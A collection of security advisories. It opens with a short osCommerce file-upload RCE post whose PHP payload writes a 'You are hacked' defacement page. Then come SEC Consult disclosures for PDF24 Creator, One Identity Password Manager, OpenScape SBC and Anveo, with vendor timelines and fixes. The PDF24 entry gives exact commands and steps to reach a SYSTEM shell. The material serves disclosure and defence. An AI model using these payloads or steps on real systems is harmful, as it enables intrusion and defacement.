<pre><code>## Title: osCommerce 4.13-60075 File-Upload-RCE<br />## Author: nu11secur1ty<br />## Date: 12/14/2023<br />## Vendor: https://www.oscommerce.com/<br />## Software: https://www.oscommerce.com/download-file<br />## Reference: https://portswigger.net/web-security/file-upload<br /><br /><br />## Description:<br />The parameter "icon-pencil" in the upload-file dz-clickable function<br />is vulnerable for File upload and Remote Code Execution then!<br />The attacker easily can destroy this system if he is a kracker, grey<br />hat, or some kind of stupid kid. More:<br />{https://portswigger.net/web-security/file-upload}. In this scenario,<br />I just uploaded a PHP exploit which created a second file directly on<br />the server and then I executed it DIRECTLY on the<br />server, by using just a browser. This can be executed with more<br />methods but we can talk about it later. =)<br /><br /><br />STATUS: CRITICAL Vulnerability<br /><br />[+]Exploit:<br />```<br /><?php<br />// @nu11secur1ty 2023<br />$myfile = fopen("hacked.html", "w") or die("Unable to open file!");<br /><br />$txt = "<p>You are hacked</p>\n";<br />fwrite($myfile, $txt);<br />$txt = "<p><p>This is not good for you</p>\n<a<br />href='https://sell.sawbrokers.com/domain/malicious.com/'target='_blank'>You<br />can visit our website for more information!</a></p>\n";<br /><br /><br />fwrite($myfile, $txt);<br />fclose($myfile);<br />?><br />```<br /><br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oscommerce.com/osCommerce-4.13-60075)<br /><br />## Proof and Exploit:<br />[href](https://www.nu11secur1ty.com/2023/12/oscommerce-413-60075-file-upload-rce.html)<br /><br />## Time spent:<br />00:15:00<br /><br /></code></pre>
<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20231211-0 ><br />=======================================================================<br /> title: Local Privilege Escalation via MSI installer<br /> product: PDF24 Creator (geek Software GmbH)<br /> vulnerable version: <=11.15.1<br /> fixed version: 11.15.2<br /> CVE number: CVE-2023-49147<br /> impact: High<br /> homepage: https://tools.pdf24.org/en/creator/<br /> found: 2023-10-16<br /> by: Lukas Donaubauer (Office Munich)<br /> Mario Keck (Office Munich)<br /> SEC Consult Vulnerability Lab<br /><br /> An integrated part of SEC Consult, an Eviden business<br /> Europe | Asia<br /><br /> https://www.sec-consult.com<br /><br />=======================================================================<br /><br />Vendor description:<br />-------------------<br />"pdf24.org is a project of geek software GmbH, a German company based in Berlin,<br />that was founded in 2006. PDF24 offers free and easy to use PDF solutions for<br />many PDF problems, online and as software for download. Solutions include the<br />well-known PDF24 Creator and PDF24 Online Tools."<br /><br />Source: https://www.pdf24.org/en/about-us<br /><br /><br />Business recommendation:<br />------------------------<br />The vendor provides a patch which should be installed immediately.<br /><br />SEC Consult highly recommends to perform a thorough security review of the product<br />conducted by security professionals to identify and resolve potential further<br />security issues.<br /><br /><br />Vulnerability overview/description:<br />-----------------------------------<br />1) Local Privilege Escalation via MSI installer (CVE-2023-49147)<br />The configuration of the PDF24 Creator MSI installer file was found to<br />produce a visible cmd.exe window running as the SYSTEM user when using<br />the repair function of msiexec.exe. This allows a local attacker to use<br />a chain of actions, to open a fully functional cmd.exe with the privileges<br />of the SYSTEM user.<br /><br />Note: This attack does not work using a recent version of the Edge Browser or<br />Internet Explorer. A different browser, such as Chrome or Firefox, needs to be<br />used. Also make sure, that Edge or IE have not been set to the default browser.<br /><br /><br />Proof of concept:<br />-----------------<br />1) Local Privilege Escalation via MSI installer (CVE-2023-49147)<br />For the exploit to work, the PDF24 Creator has to be installed via the MSI file.<br />Afterwards, any low-privileged user can run the following command to start the<br />repair of PDF24 Creator and trigger the vulnerable actions without a UAC popup:<br /><br />msiexec.exe /fa <PATH TO INSTALLERFILE>\pdf24-creator-11.14.0-x64.msi<br /><br />At the very end of the repair process, the sub-process pdf24-PrinterInstall.exe gets<br />called with SYSTEM privileges and performs a write action on the file<br />"C:\Program Files\PDF24\faxPrnInst.log". This can be used by an attacker by simply<br />setting an oplock on the file as soon as it gets read. To do that, one can use the<br />'SetOpLock.exe' tool from "https://github.com/googleprojectzero/symboliclink-testing-tools"<br />with the following parameters:<br /><br />SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r<br /><br />If the oplock is set, the cmd window that gets opened when pdf24-PrinterInstall.exe<br />is executed doesn't close. The attacker can then perform the following actions to<br />spawn a SYSTEM shell:<br />- right click on the top bar of the cmd window<br />- click on properties<br />- under options click on the "Legacyconsolemode" link<br />- open the link with a browser other than internet explorer or edge (both don't open as SYSTEM when on Win11)<br />- in the opened browser window press the key combination CTRL+o<br />- type cmd.exe in the top bar and press Enter<br /><br /><br />Vulnerable / tested versions:<br />-----------------------------<br />The following version has been tested which was the latest version available<br />at the time of the test:<br />* 11.14.0 (pdf24-creator-11.14.0-x64.msi)<br />* 11.15.1 (pdf24-creator-11.15.1-x64.msi)<br /><br />A new version was released during our contact attempts (v11.15.1) which is<br />also affected by the vulnerability.<br /><br />The tests were conducted on an up to date Windows 10 system.<br /><br /><br />Vendor contact timeline:<br />------------------------<br />2023-10-20: Contacting vendor through team@pdf24.org; no response.<br />2023-11-14: Contacting vendor again through team@pdf24.org and stefan@pdf24.org<br /> No response.<br />2023-11-17: Requesting CVE number<br />2023-11-23: Received CVE number<br />2023-11-27: Sending vendor CVE number and setting preliminary deadline for<br /> advisory release (11th December)<br />2023-11-27: Identified that latest version 11.15.1 is also vulnerable.<br />2023-11-28: Vendor response, seems our emails ended up in spam.<br /> Sending advisory unencrypted upon vendor request.<br />2023-12-04: Asking for a status update. Further questions from vendor.<br /> Providing more details, clarification regarding Windows 11, browser<br /> usage and recommendation for fix.<br />2023-12-08: Vendor releases fixed version 11.15.2.<br />2023-12-11: Coordinated release of advisory.<br /><br /><br />Solution:<br />---------<br />The vendor provides a patched version 11.15.2 which can be downloaded from the<br />vendor's website:<br /><br />https://tools.pdf24.org/en/creator<br /><br />Also check out the changelog from the vendor for further information:<br />https://creator.pdf24.org/changelog/en.html<br /><br /><br />Workaround:<br />-----------<br />Use the available EXE installer.<br /><br /><br />Advisory URL:<br />-------------<br />https://sec-consult.com/vulnerability-lab/<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />SEC Consult Vulnerability Lab<br />An integrated part of SEC Consult, an Eviden business<br />Europe | Asia<br /><br />About SEC Consult Vulnerability Lab<br />The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br />Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br />field of network and application security to stay ahead of the attacker. The<br />SEC Consult Vulnerability Lab supports high-quality penetration testing and<br />the evaluation of new offensive and defensive technologies for our customers.<br />Hence our customers obtain the most current information about vulnerabilities<br />and valid recommendation about the risk profile of new technologies.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Interested to work with the experts of SEC Consult?<br />Send us your application https://sec-consult.com/career/<br /><br />Interested in improving your cyber security with the experts of SEC Consult?<br />Contact our local offices https://sec-consult.com/contact/<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Mail: security-research at sec-consult dot com<br />Web: https://www.sec-consult.com<br />Blog: https://blog.sec-consult.com<br />Twitter: https://twitter.com/sec_consult<br /><br />EOF L. Donaubauer, M. Keck / @2023<br /></code></pre>
<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20231206-0 ><br />=======================================================================<br /> title: Kiosk Escape Privilege Escalation<br /> product: One Identity Password Manager Secure Password Extension<br /> vulnerable version: <5.13.1<br /> fixed version: 5.13.1<br /> CVE number: CVE-2023-48654<br /> impact: critical<br /> homepage: https://www.oneidentity.com/products/password-manager/<br /> found: 2023-10-09<br /> by: Stefan Schweighofer (Office Vienna)<br /> Constantin Schieber-Knöbl (Office Vienna)<br /> Armin Weihbold (Office Linz)<br /> SEC Consult Vulnerability Lab<br /><br /> An integrated part of SEC Consult, an Eviden business<br /> Europe | Asia<br /><br /> https://www.sec-consult.com<br /><br />=======================================================================<br /><br />Vendor description:<br />-------------------<br />"One Identity delivers solutions that help customers strengthen operational<br />efficiency, reduce risk surface, control costs and enhance their<br />cybersecurity. Our Unified Identity Platform brings together best-in-class<br />software to enable organizations to shift from a fragmented identity strategy<br />to a holistic approach."<br /><br />Source: https://www.oneidentity.com/company/<br /><br /><br />Business recommendation:<br />------------------------<br />The vendor provides a patch version 5.13.1 which should be installed immediately.<br /><br />SEC Consult highly recommends to perform a thorough security review of the<br />product conducted by security professionals to identify and resolve potential<br />further security issues.<br /><br /><br />Vulnerability overview/description:<br />-----------------------------------<br />The Password Manager Application by One Identity enables users to reset<br />their Active Directory passwords on the login screen of a Windows client, with<br />the Secure Password Extension. The Secure Password Manager Extension launches a<br />Chromium based browser in Kiosk mode to provide the reset functionality.<br /><br />Due to application-specific functionalities the Password Manager Extension<br />suffers from two exploitable Kiosk Escape vulnerabilities which allow a local,<br />pre-authenticated attacker to escalate the privileges to SYSTEM.<br /><br /><br />1) Password Manager Kiosk Escape with Google ReCAPTCHA (CVE-2023-48654)<br />The Password Manager Extension uses Google ReCAPTCHA, which enables an<br />attacker to escape the Kiosk Mode of the browser and gain<br />"nt authority\system" permissions on the login screen of the targeted machine.<br />This is possible due to the fact that Google ReCAPTCHA links to external<br />websites, which open in a new browser window and enable an attacker to<br />navigate to other external websites.<br /><br />2) Password Manager Kiosk Escape after Session Timeout<br />The Password Manager application provides a link to a help page of<br />One Identity. This link references an external site and is therefore hidden<br />in the Kiosk Mode browser of the Password Manager Extension. If the Password<br />Manager Extension website is loaded after an active session expires the<br />link to the external One Identity websites gets shown. This enables an<br />attacker to escape the Kiosk Mode of the browser and gain<br />"nt authority\system" permissions on the login screen of the targeted machine.<br /><br /><br />Proof of concept:<br />-----------------<br />1) Password Manager Kiosk Escape with Google ReCAPTCHA (CVE-2023-48654)<br />An attacker requires access to a locked machine, where the Password Manger<br />Extension is installed, either via physical (pre-auth) or remote (RDP) access.<br /> From the login screen the Password Manger Extension Kiosk mode browser can<br />be launched.<br /><br />Since Google ReCAPTCHA is used on the Password Manger website the Google<br />ReCAPTCHA icon is also shown on the website and provides a link to an<br />external website via the "Privacy" button of the Google ReCAPTCHA field.<br /><br /><br />2) Password Manager Kiosk Escape after Session Timeout<br />An attacker requires access to a username to login to either the Password Manager<br />website or a logged in user, which leaves the session open until the session<br />expires. Since the Password Manager uses Active Directory credentials, the<br />username from the Windows login screen can be used to log into the website.<br />For this attack the session of a logged-in user has to expire.<br /><br />After the session expiration the Password Manager website gets reloaded and displays<br />a help icon that is usually hidden. The help icon links to the external<br />One Identity website., from witch it is possible to navigate to the Google Search<br />website using the Sign In option of the One Identity website. The Sign In page<br />has the option to login with a Facebook account and information about cookies<br />is displayed on this page, which links to a Google Chrome website.<br /><br /><br />For both vulnerability 1 and 2, an attacker can use the Google Search website and<br />trigger the "search by image" feature. This "search by image" feature can be used<br />to trigger an upload, which then opens a file explorer window for file selection.<br /><br />The file explorer window makes it possible to input "cmd" in the path field<br />of the file explorer to open a command prompt. The created command prompt<br />is executed with highest "nt authority\system" permissions.<br /><br /><br />Vulnerable / tested versions:<br />-----------------------------<br />The following version has been tested which was the latest version available<br />at the time of the test:<br />* 5.13<br /><br />It is assumed that all previous versions are affected as well.<br /><br /><br />Vendor contact timeline:<br />------------------------<br />2023-11-06: Contacting vendor through vendor security contact form<br /> https://support.oneidentity.com/de-de/essentials/reporting-security-vulnerability<br />2023-11-07: Vendor is able to reproduce both escapes, internal discussion with<br /> product team needed.<br />2023-11-14: Vendor notifies us that the product team fixed the vulnerabilities<br /> and will release an update soon. Asking for CVE numbers.<br />2023-11-15: Vendor will not assign CVE numbers, we are going to request them.<br /> Patch release scheduled for 17th or the week after.<br />2023-11-17: Receiving one CVE number from MITRE, asking about the second one;<br /> No response.<br />2023-11-20: Asking for status update as no patch was released on 17th.<br />2023-11-21: Patch was postponed to 1st December, setting our release date to<br /> 6th December.<br />2023-12-01: Vendor releases fixed version v5.13.1.<br />2023-12-06: Coordinated release of security advisory.<br /><br /><br />Solution:<br />---------<br />The vendor provides a patch which can be downloaded from<br />https://support.oneidentity.com/password-manager/5.13.1<br /><br />The release notes of the vendor can be found here:<br />https://support.oneidentity.com/technical-documents/password-manager/5.13.1/release-notes/<br /><br /><br />Workaround:<br />-----------<br />None<br /><br /><br />Advisory URL:<br />-------------<br />https://sec-consult.com/vulnerability-lab/<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />SEC Consult Vulnerability Lab<br />An integrated part of SEC Consult, an Eviden business<br />Europe | Asia<br /><br />About SEC Consult Vulnerability Lab<br />The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br />Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br />field of network and application security to stay ahead of the attacker. The<br />SEC Consult Vulnerability Lab supports high-quality penetration testing and<br />the evaluation of new offensive and defensive technologies for our customers.<br />Hence our customers obtain the most current information about vulnerabilities<br />and valid recommendation about the risk profile of new technologies.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Interested to work with the experts of SEC Consult?<br />Send us your application https://sec-consult.com/career/<br /><br />Interested in improving your cyber security with the experts of SEC Consult?<br />Contact our local offices https://sec-consult.com/contact/<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Mail: security-research at sec-consult dot com<br />Web: https://www.sec-consult.com<br />Blog: https://blog.sec-consult.com<br />Twitter: https://twitter.com/sec_consult<br /><br />EOF S. Schweighofer, C. Schieber-Knöbl, A. Weihbold / @2023<br /><br /></code></pre>
<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20231205-0 ><br />=======================================================================<br /> title: Argument injection leading to unauthenticated RCE and<br /> authentication bypass<br /> product: Atos Unify OpenScape Session Border Controller (SBC)<br /> Atos Unify OpenScape Branch<br /> Atos Unify OpenScape BCF<br /> vulnerable version: OpenScape SBC before V10 R3.4.0<br /> OpenScape Branch before V10 R3.4.0<br /> OpenScape BCF V10 before V10 R10.12.00 and V10 R11.05.02<br /> fixed version: OpenScape SBC V10 R3.4.0 or higher<br /> OpenScape Branch V10 R3.4.0 or higher<br /> OpenScape BCF V10 R10.12.00 or higher, V10 R11.05.02<br /> CVE number: CVE-2023-6269<br /> impact: Critical<br /> homepage: https://unify.com/<br /> found: 2023-09-01<br /> by: Armin Weihbold (Office Linz)<br /> SEC Consult Vulnerability Lab<br /><br /> An integrated part of SEC Consult, an Eviden business<br /> Europe | Asia<br /><br /> https://www.sec-consult.com<br /><br />=======================================================================<br /><br />Vendor description:<br />-------------------<br />"Unify is is the Atos brand for communication and collaboration solutions<br />Unify is the newest member of the Atos family, combining Atos’ knowledge and<br />reputation in the IT services market with Unify’s expertise in unified<br />communications and collaboration to provide customers with seamless services<br />solutions for their entire digital portfolio. Within Atos, Unify continues to<br />deliver a unique integrated proposition for unified communications and real<br />time capabilities."<br /><br />Source: https://unify.com/en/expert/unify<br /><br /><br />Business recommendation:<br />------------------------<br />SEC Consult recommends users of this solution to immediately install the latest<br />patch from the vendor.<br /><br />Furthermore, an in-depth security analysis performed by security professionals<br />is highly advised, as the software may be affected from other security issues.<br /><br /><br />Vulnerability overview/description:<br />-----------------------------------<br />1) Argument injection leading to unauthenticated RCE and authentication bypass (CVE-2023-6269)<br />The administrative web interface insufficiently escapes supplied login<br />credentials before passing them to a user management application, leading to<br />an unauthenticated attacker being able to gain root access to the appliance<br />via SSH.<br /><br />Another possibility to exploit this vulnerability is to append a special<br />argument during logon to completely bypass the authentication of the web interface.<br />A previously unauthenticated attacker can logon as administrator without any<br />known credentials.<br /><br /><br />Proof of concept:<br />-----------------<br />1) Argument injection leading to unauthenticated RCE and authentication bypass (CVE-2023-6269)<br />Example 1) Gaining unauthenticated SSH root access<br /><br />The file receiving data from the login page is `auth.php`, here the<br />user-provided credentials are passed on to the function<br />`PasswordMgr::authPassword` after some checks on the supplied username.<br /><br />```php<br />// /srv/www/htdocs/auth.php<br />// [...]<br /> $ret=false;<br /> $real_user='';<br /> $error = '';<br /> $local_user=strip_tags($_POST['username']);<br />// [...]<br /> if( !sessionLimitReached() )<br /> {<br /> // Authenticate user/password...<br /> $privilege = PasswordMgr::getUserPrivilege($local_user);<br /> if (($local_user == 'assistant') || ($local_user == 'cdr') || (!PasswordMgr::isUserEnabled($local_user))){<br /> $ret = false;<br /> }<br /> else {<br /> switch ($privilege) {<br /> case 'admin':<br /> $ret = PasswordMgr::authPassword($_POST["username"], $_POST["password"], $error, $real_user, $local_user, FALSE);<br /> break;<br /> // [...]<br /> }<br /> }<br /> // [...]<br /> }<br />// [...]<br /><br />```<br /><br />The function `PasswordMgr::authPassword` in `core/PasswordMgr.php` is just a<br />wrapper around `call_osbpasswd` in the same file.<br /><br /><br />```php<br />// /srv/www/htdocs/core/PasswordMgr.php<br /><br />public static function authPassword($username, $password, &$error, &$real_user, &$local_user, $local = FALSE)<br />{<br /> $error='';<br /> if ( PasswordMgr::call_osbpasswd("auth", $username, $password, $error, $real_user, $local_user, $local ) )<br /> {<br /> $error='Current Password does not match user';<br /> return false;<br /> }<br /> return true;<br />}<br />```<br /><br />The function `call_osbpasswd` is responsible for anything related to user<br />management, it does this by constructing shell arguments and supplying them to<br />the executable `/osb/bin/osbpasswd` which is executed with root privileges via<br />`cfgUtilExecSudo`. This executable handles the actual authentication, creation<br />of users, and other tasks.<br />In the case of authentication the arguments are written to a temporary file<br />and read from there.<br />Before that the supplied password is escaped using `escapeshellcmd` instead of<br />`escapeshellarg`. This means that space characters (hex 0x20) in the password<br />are left intact allowing for argument injection.<br /><br />```php<br />// /srv/www/htdocs/core/PasswordMgr.php<br /><br />public static function call_osbpasswd( $method, $username, $password, &$output, &$real_user, &$local_user, $local, $extraArg = '' )<br />{<br /> // [...]<br /> $curruser = 'GUI';<br /> // [...]<br /><br /> $params = "$method";<br /> if ($local) $params .= ' --local';<br /> if ($username != '') $params .= " --user $username";<br /> if ($curruser != '') $params .= " --curruser $curruser";<br /> if ($extraArg != '') $params .= "$extraArg";<br /><br /> $file = '';<br /> // [...]<br /> else {<br /> $params .= " --password ";<br /> $fakePar = $params."xxxxxx";<br /> $params .= escapeshellcmd($password);<br /> $params .= "\n";<br /> $file = tempnam('/osb/var/tmp','osbpasswd.'.md5($params).'.');<br /> /*E.g.: /opt/openbranch/var/tmp/osbpasswd.f9e2a9fcf29c6275830257316d560e27.CG4IcQ */<br /> cfgUtilEcho( $params, $file );<br /> $command = "/osb/bin/osbpasswd ".$fakePar." --file ".$file;<br /> }<br /><br /> $outArray = array();<br /> $ret = cfgUtilExecSudo($command, $outArray, FALSE, TRUE);<br /> // [...]<br /> return $ret;<br />}<br />```<br /><br />The function that is responsible for parsing command line arguments<br />in the called application `/osb/bin/osbpasswd` iterates over arguments and<br />sets global variables based on them. This is done in a loop and no check is<br />done if that argument was already set. This means an attacker can override all<br />parameters by specifying them again.<br /><br />```C<br />int parse_arguments(int argc, char **argv, int n)<br />{<br /> // [...]<br /> while ( n < argc && argv[n] ) {<br /> // [...]<br /> else if ( !strcmp("--user", argv[n]) ) {<br /> if ( ++n < argc )<br /> arg_user = argv[n];<br /> }<br /> else if ( !strcmp("--shell", argv[n]) ) {<br /> if ( ++n < argc )<br /> arg_shell = argv[n];<br /> }<br /> // [...]<br /> else if ( !strcmp("auth", argv[n]) ) {<br /> arg_command_name = argv[n];<br /> arg_command_number = 1;<br /> }<br /> else if ( !strcmp("add", argv[n]) ) {<br /> arg_command_name = argv[n];<br /> arg_command_number = 6;<br /> }<br /> // [...]<br /> ++n;<br /> }<br /> return 0LL;<br />}<br />```<br /><br />The combination of faulty escaping of the supplied password and overly<br />permissive parsing of arguments in the called binary leads to an attacker being<br />able to request arbitrary operations from the `/osb/bin/osbpasswd` binary with<br />arbitrary arguments. An attacker could for example create a new user with SSH<br />access and change the password of the root user leading to a complete<br />compromise of the system.<br /><br />To demonstrate the vulnerability, it is sufficient to [...]<br /><br />[ Proof of concept removed ]<br /><br />- this creates a new user with SSH access, the second one [...]<br /><br />[ Proof of concept removed ]<br /><br />which changes the password of the root user. The attacker can then login [...]<br />to gain root access.<br /><br /><br /><br />Example 2) Bypassing the web interface logon as administrator<br />As described in example 1, the same vulnerability can also be exploited to<br />bypass the logon for the web interface and immediately gain access as<br />administrator because the arguments for the command-line tool are passed and<br />evaluated.<br /><br />By supplying the [...] following [...] string [...], it is possible to logon<br />without known credentials:<br /><br />[ Proof of concept removed ]<br /><br />[...]<br />Afterwards the attacker is logged on as administrator (or any other supplied<br />user account).<br /><br /><br />Vulnerable / tested versions:<br />-----------------------------<br />The following version has been tested which was the latest version available<br />at the time of the test:<br /><br />* Atos Unify OpenScape Session Border Controler (SBC) Firmware Version V10 R3.3.0<br /><br />According to vendor, versions before V10 R3.3.0 are affected as well.<br /><br />The vendor confirmed that the following products are vulnerable:<br />* Atos Unify OpenScape SBC V10 before V10 R3.4.0<br />* Atos Unify OpenScape Branch V10 before V10 R3.4.0<br />* Atos Unify OpenScape BCF V10 before V10R10.12.00 and V10R11.05.02<br /><br /><br />Vendor contact timeline:<br />------------------------<br />2023-09-13: Contacting vendor through email obso@atos.net; sending<br /> encrypted advisory (S/MIME)<br />2023-09-25: Call with vendor, patch has already been developed, available<br /> internally for testing & QA since 22nd.<br />2023-09-26: Preliminary vendor security advisory available, giving feedback<br /> regarding recommendations. Vendor informs customers in advance<br /> (TLP:AMBER), patch planned for 2023-09-27.<br />2023-10-04: Vendor security advisory public release (TLP:WHITE).<br />2023-10-06: Asking regarding next steps for affected product Atos Unify<br /> OpenScape BCF.<br />2023-10-10: Vendor confirms that OpenScape BCF is affected as well and added<br /> it to their advisory.<br />2023-11-27: Reserving CVE-2023-6269 and sending it to vendor, defining<br /> release date of 5th December.<br />2023-12-05: Coordinated release of security advisory.<br /><br /><br />Solution:<br />---------<br />The vendor provides a patch for the affected products:<br />* Atos Unify OpenScape Session Border Controller Firmware Version V10 >=R3.4.0<br />* Atos Unify OpenScape Branch version V10 >=R3.4.0<br />* Atos Unify OpenScape BCF version V10 >=V10R10.12.00 and V10R11.05.02<br /><br />The patches can be obtained for registered customers through the vendor's<br />download server:<br />https://sws.unify.com/SWSIntranet/SWSIntra.aspx or via<br />https://unify.com/en/partner/partnerportal<br />https://unify.com/en/support/kunden-support-portal<br /><br />Furthermore, the vendor has also released a security advisory which is<br />available here:<br />https://networks.unify.com/security/advisories/OBSO-2310-01.pdf<br /><br /><br />Workaround:<br />-----------<br />In addition to deploying the patch, limit access to the administrative<br />web application and SSH ports to authorized personnel on the network level.<br /><br /><br />Advisory URL:<br />-------------<br />https://sec-consult.com/vulnerability-lab/<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />SEC Consult Vulnerability Lab<br />An integrated part of SEC Consult, an Eviden business<br />Europe | Asia<br /><br />About SEC Consult Vulnerability Lab<br />The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br />Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br />field of network and application security to stay ahead of the attacker. The<br />SEC Consult Vulnerability Lab supports high-quality penetration testing and<br />the evaluation of new offensive and defensive technologies for our customers.<br />Hence our customers obtain the most current information about vulnerabilities<br />and valid recommendation about the risk profile of new technologies.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Interested to work with the experts of SEC Consult?<br />Send us your application https://sec-consult.com/career/<br /><br />Interested in improving your cyber security with the experts of SEC Consult?<br />Contact our local offices https://sec-consult.com/contact/<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Mail: security-research at sec-consult dot com<br />Web: https://www.sec-consult.com<br />Blog: https://blog.sec-consult.com<br />Twitter: https://twitter.com/sec_consult<br /><br />EOF A. Weihbold / @2023<br /><br /></code></pre>
<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20231128-0 ><br />=======================================================================<br /> title: Missing Certificate Validation & User Enumeration<br /> product: Anveo Mobile App and Server<br /> vulnerable version: Mobile App: 10.0.0.359 / 2016-07-13; Server: 11.0.0.5<br /> fixed version: -<br /> CVE number: -<br /> impact: Medium<br /> homepage: https://www.anveogroup.com/en/mobile-apps-for-dynamics/<br /> found: 2023-05-28<br /> by: Daniel Hirschberger (Office Bochum)<br /> SEC Consult Vulnerability Lab<br /><br /> An integrated part of SEC Consult, an Eviden business<br /> Europe | Asia<br /><br /> https://www.sec-consult.com<br /><br />=======================================================================<br /><br />Vendor description:<br />-------------------<br />"Create your own individual Mobile App with Anveo. Our base, out of the box<br />solutions offer many useful functions, and can be flexibly adapted to your<br />requirements: the Anveo Service App, Anveo Sales App, and Anveo Delivery App.<br />You are looking for a mobile App for a different scenario? Not a problem with<br />the Anveo Mobile App Builder! Thanks to the toolkit character of the solution,<br />configuration of a completely new, custom App is simple."<br /><br />Source: https://www.anveogroup.com/en/mobile-apps-for-dynamics/<br /><br /><br />Business recommendation:<br />------------------------<br />The vendor was unresponsive and did not reply to our communication attempts and even<br />deleted our comment to request a contact on LinkedIn, see the timeline section further<br />below.<br /><br />There is no solution known to us for this security issue. In case you are a customer<br />of Anveo, request an update from them about the issue.<br /><br />Furthermore, an in-depth security analysis performed by security professionals is<br />highly advised, as the software may be affected from other security issues.<br /><br /><br />Vulnerability overview/description:<br />-----------------------------------<br />1) Missing Certificate Validation<br />The Windows application was tested which does not perform certificate validation<br />and is therefore vulnerable to man-in-the-middle attacks which might allow an<br />attacker to gain access to sensitive data.<br /><br /><br />2) User Enumeration<br />The login is vulnerable to user enumeration because the error message for a<br />non-existent user differs from the error message when a user exists. This allows<br />an attacker to perform targeted brute-force attacks and potentially take over<br />other user accounts.<br /><br /><br />Proof of concept:<br />-----------------<br />1) Missing Certificate Validation<br />The application does not validate the server certificate. To verify this,<br />a new self-signed certificate was created with the openssl commandline tool.<br /><br />Afterwards, an openssl server was spawned with netcat:<br /><br />[ POC removed]<br /><br />When adding a new account in the application with the IP and port of this server,<br />a connection is attempted. Now a special string has to be sent from the netcat<br />listener to the client.<br /><br />As a response, the client tries to authenticate against the server with the<br />username and password:<br /><br /><img certificate_validation.png><br /><br />The part between <EOS> and <EOSC> can be base64-decoded and decompressed with<br />zlib which yields the following output:<br /><br />[ POC removed ]<br /><br />The "PW" Parameter contains the base64-encoded password, in this case "unknown".<br /><br /><br />2) User Enumeration<br />When a non-existent user tries to login, the error message shows "Cannot find<br />user":<br /><br /><img user_nonexistent.png><br /><br />When a valid username but a wrong password is submitted, the server responds<br />with "Username or password is not correct":<br /><br /><img user_exists.png><br /><br /><br />Vulnerable / tested versions:<br />-----------------------------<br />The following version has been tested:<br />* Application version 10.0.0.359 / 2016-07-13 (the Windows version was tested)<br /><br />The vendor did not respond to our communication attempts, hence it is unknown whether<br />further versions are affected as well.<br /><br /><br />Vendor contact timeline:<br />------------------------<br />2023-06-12: Contacting vendor through email info@AnveoGroup.com<br /> Asking for security contact, no response<br />2023-06-26: Contacting vendor through same email again, no response.<br />2023-07-24: Contacting vendor through technical support email support@AnveoGroup.com<br /> Asking for security contact again, no response.<br />2023-09-15: Contacting vendor again through info@AnveoGroup.com, support@AnveoGroup.com<br /> and datenschutz@AnveoGroup.com. Ticket got automatically created, but no<br /> response.<br />2023-09-19: Posted a message/comment on LinkedIn at Anveo Group to contact us. Besides a<br /> few profile views from employees (Team Lead Anveo Mobile App, Social Media<br /> Marketing, CEO) no response.<br /> Our comment then got deleted by Anveo Group.<br /> Comment:<br /> "Hi Anveo Group, we have been trying to reach your company since June through<br /> our responsible disclosure process as we have identified some security<br /> issues in your products. We never received any response via multiple email<br /> addresses (found on your website). Could you please get in touch with us and<br /> provide us with a person responsible for security? Thank you!"<br />2023-09-20: Contacting third party whether they received a patch; no response.<br />2023-10-09: Contacting again; no response.<br />2023-10-23: Contacting again; no response.<br />2023-11-17: Final attempt, asked third party for info again, tried to contact<br /> "support@anveogroup.com" through ticket again. No response from vendor, but<br /> third party replied, that they also did not receive any response from Anveo.<br />2023-11-28: Public release of security advisory.<br /><br /><br />Solution:<br />---------<br />The vendor was unresponsive and did not reply to our communication attempts and even<br />deleted our comment to request a contact on LinkedIn, see the timeline section.<br /><br />There is no solution known to us for this security issue. In case you are a customer<br />of Anveo, request an update from them about the issue.<br /><br />Furthermore, an in-depth security analysis performed by security professionals is<br />highly advised, as the software may be affected from other security issues.<br /><br /><br />Workaround:<br />-----------<br />None<br /><br /><br />Advisory URL:<br />-------------<br />https://sec-consult.com/vulnerability-lab/<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />SEC Consult Vulnerability Lab<br />An integrated part of SEC Consult, an Eviden business<br />Europe | Asia<br /><br />About SEC Consult Vulnerability Lab<br />The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br />Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br />field of network and application security to stay ahead of the attacker. The<br />SEC Consult Vulnerability Lab supports high-quality penetration testing and<br />the evaluation of new offensive and defensive technologies for our customers.<br />Hence our customers obtain the most current information about vulnerabilities<br />and valid recommendation about the risk profile of new technologies.<br 